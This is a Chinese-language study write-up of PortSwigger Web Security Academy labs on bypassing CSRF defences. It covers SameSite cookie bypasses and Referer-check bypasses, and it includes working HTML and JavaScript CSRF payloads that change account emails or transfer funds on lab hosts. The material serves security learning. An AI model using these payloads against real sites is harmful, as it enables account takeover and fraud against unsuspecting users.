CSRF 漏洞學習網站:What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy
CSRF 漏洞:SameSite相關繞過
當瀏覽器訪問服務器時,服務器會在 Cookie 中添加 SameSite 屬性來告訴瀏覽器是否在來自其他網站的請求中允許攜帶 Cookie。
如果發出 Cookie 的網站沒有明確設置 SameSite 屬性來限制來自其它網站的請求,那么瀏覽器自動設置 SameSite=Lax 以防止跨網站訪問攜帶對方服務的 Cookie。
關于同源和同站點的問題,直接貼出 PostSwigger 官方解釋:
請求方 | 請求 | 同站點? | 同源? |
---|---|---|---|
https://example.com | https://example.com | 是的 | 是的 |
https://app.example.com | https://intranet.example.com | 是的 | 否:域名不匹配 |
https://example.com | https://example.com:8080 | 是的 | 否:端口不匹配 |
https://example.com | https://example.co.uk | 否:不匹配的 eTLD | 否:域名不匹配 |
https://example.com | http://example.com | 否:不匹配的方案 | 否:不匹配的方案 |
SameSite 工作流程
在 SameSite 機制之前,瀏覽器針對每個請求都會添加對應網站的 Cookie,不管它是否是來自其他站點,這就導致了常規的 CSRF 攜帶 Cookie 攻擊。SameSite 的工作原理是使瀏覽器和網站所有者能夠限制哪些跨站點請求(如果有)應包含特定 Cookie。如下是 SameSite 等級:
-
Strict:只要請求屬于跨站請求,就不攜帶 Cookie。
-
Lax:如果請求屬于跨站請求,滿足以下條件可以攜帶 Cookie:
-
使用 Get 方式發起請求。
-
使用頂級導航發起請求(如地址欄輸入和超鏈接跳轉)。
-
-
None:跨站請求攜帶 Cookie。
開發人員可以手動設置他們網站的 SameSite 級別,例如:
Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict
實驗:使用 GET 請求繞過 Lax 限制
使用頂級導航
<script>document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000'; </script>
POST 偽裝成 GET
這是某些框架的特性,表單聲明為 method="POST",但被框架覆蓋為 GET 請求,服務器看作 GET 請求,而瀏覽器認為是 POST 請求。
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST"><input type="hidden" name="_method" value="GET"><input type="hidden" name="recipient" value="hacker"><input type="hidden" name="amount" value="1000000"> </form>
payload:
讓 POST 請求覆蓋 GET 請求,導致瀏覽器按 GET 請求判斷,服務器按 POST 請求處理。
<script>document.location = "https://0a62002903e24ada80554453009a009b.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST"; </script>
總結:探測框架特性,看是否允許方式覆蓋。
通過客戶端重定向繞過 Strict
如果目標站點存在站內導航的重定向 url,那么 CSRF 將不存在跨域問題。
相當于用戶二次訪問同一個站點:
-
第一次從釣魚頁面跳轉到目標網站。
-
第二次從目標網站重定向到攻擊者服務器的受害頁面。
-
第三次從攻擊者的服務器頁面跳轉到敏感頁面(如:修改郵箱)。
-
成功的原因:瀏覽器能追蹤客戶端重定向,當它根據源網站來判斷需不需要攜帶 Cookie 時,瀏覽器會追蹤到重定向之前的網站作為源網站。(注意:要區分跳轉和重定向。)
注:以上重定向必須是客戶端重定向,如果是服務端重定向,比如說服務端發送了一個 Location 的包給瀏覽器,瀏覽器能追蹤到最初的請求站點,并檢測到他們不是同一個站點。差別如下:
客戶端重定向用戶中招(通過 HTML 或 js 觸發的重定向):
-
用戶訪問釣魚頁面。
-
用戶跳轉到受害者網站。(當受害者網站觸發重定向時,瀏覽器仍將受害者網站作為源網站來判斷是否跨域)
-
從受害者網站重定向攻擊者頁面(如修改郵箱)。
-
攻擊者頁面向受害者網站發送敏感請求。
服務端重定向利用失敗(通過 HTTP 進行的重定向):
-
用戶訪問釣魚頁面。
-
釣魚頁面觸發服務端重定向(假設存在)。
-
服務器返回 Location 包。
-
瀏覽器解析 Location 包,并從釣魚頁面跳轉過去。(將釣魚頁面記作源網站,不攜帶 Cookie)
實驗:通過客戶端重定向繞過 Strict
當你在某一文章下發表完評論后,會跳轉到文章頁面:
redirectOnConfirmation = (blogPath) => {setTimeout(() => {const url = new URL(window.location);const postId = url.searchParams.get("postId");window.location = blogPath + '/' + postId;}, 3000); }
訪問:https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=8 重定向后的 url = blogPath + '/' + postId 其中: blogpath = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post postId = 8 重定向后的 url = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/8 ? 如果篡改 postId = ../my-account,訪問如下url: https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account ? 會跳轉到登錄頁面:
payload:
<script>document.location = "https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=wiener%40pwned.net%26submit=1"; </script>
注:要 URL 編碼 & 分隔符,防止一開始就被解析。
實驗:使用新發布的 Cookie 繞過 SameSite Lax 限制
繞過場景:服務器沒有設置 Cookie 的 SameSite 屬性,導致默認 Lax。
Chrome 為了避免破壞單點登錄(SSO)機制,不會在前 120 秒內對頂級請求實施這些限制。
攻擊者需要讓用戶重新生成 Cookie,以獲取這 2 分鐘的窗口期進行攻擊。
使用如下 poc 放在攻擊者服務器上:
<script>history.pushState('', '', '/') </script> <form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="foo@bar.com" /><input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit(); </script>
當你在登錄后的 2 分鐘之內訪問它,發現 poc 能成功生效,如下圖修改郵箱成功。
如果用戶登錄超過兩分鐘,那么誘使用戶訪問其他頁面重新獲取 Cookie 后,再訪問敏感操作頁面(如修改郵箱)。
<form method="POST" action="https://0a9e00760433327180ac357700ea0078.web-security-academy.net/my-account/change-email"><input type="hidden" name="email" value="pwned@web-security-academy.net"> </form> <script>window.open('https://0a9e00760433327180ac357700ea0078.web-security-academy.net/social-login');setTimeout(changeEmail, 5000); ?function changeEmail(){document.forms[0].submit();} </script>
觸發目標網站的 OAuth 登錄流程:
-
用戶已登錄目標網站,但 SSO 提供商會重新頒發會話(例如,OAuth 流程每次生成新會話)。
-
第一次 SSRF:攻擊者誘導用戶重新完成 OAuth 登錄,生成新 Cookie。(window.open 新標簽不受 Lax 限制)
-
第二次 SSRF:新 Cookie 進入 2 分鐘窗口期,此時可繞過 Lax 限制。
重點,攻擊者能通過 CSRF 讓用戶重新獲取 Session。
基于 Referer 的 CSRF 防御
Referer 用于服務器獲取請求頁面的來源頁面的 URL,如果服務器發現 Referer 頭不合法,那么判定用戶正在遭受釣魚攻擊。
常規的檢測手法,檢測 Referer 頭是否是本域。
繞過手段:
-
寬松的 Referer 驗證邏輯:攻擊者控制 attacker.com/example.com,此時 Referer 為 attacker.com/example.com。
-
Referer 標頭的刪除導致服務器不驗證來源。
實驗:Referer 標頭的刪除導致服務器不驗證來源
payload:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><!-- 包含以下 HTML 以禁止 referrer --><meta name="referrer" content="no-referrer"><body><form action="https://0aa0007c0387e677806e032d00d8004d.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener@pwned-user.net" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body> </html>
實驗:寬松的 Referer 驗證邏輯
那就在 HTML 釣魚頁面加上:
<meta name="referrer" content="unsafe-url"> <!-- 防止添加的東西被過濾 --><!-- history.pushState 用于在瀏覽器歷史記錄中添加一條新的記錄,同時改變當前的 URL,但不會觸發頁面的刷新。-->history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")<!-- 更新歷史 url,添加上這個參數 -->
完整 payload:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><meta name="referrer" content="unsafe-url"><body><form action="https://0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener@pwned-user.net" /><input type="submit" value="Submit request" /></form><script>history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")document.forms[0].submit();</script></body> </html>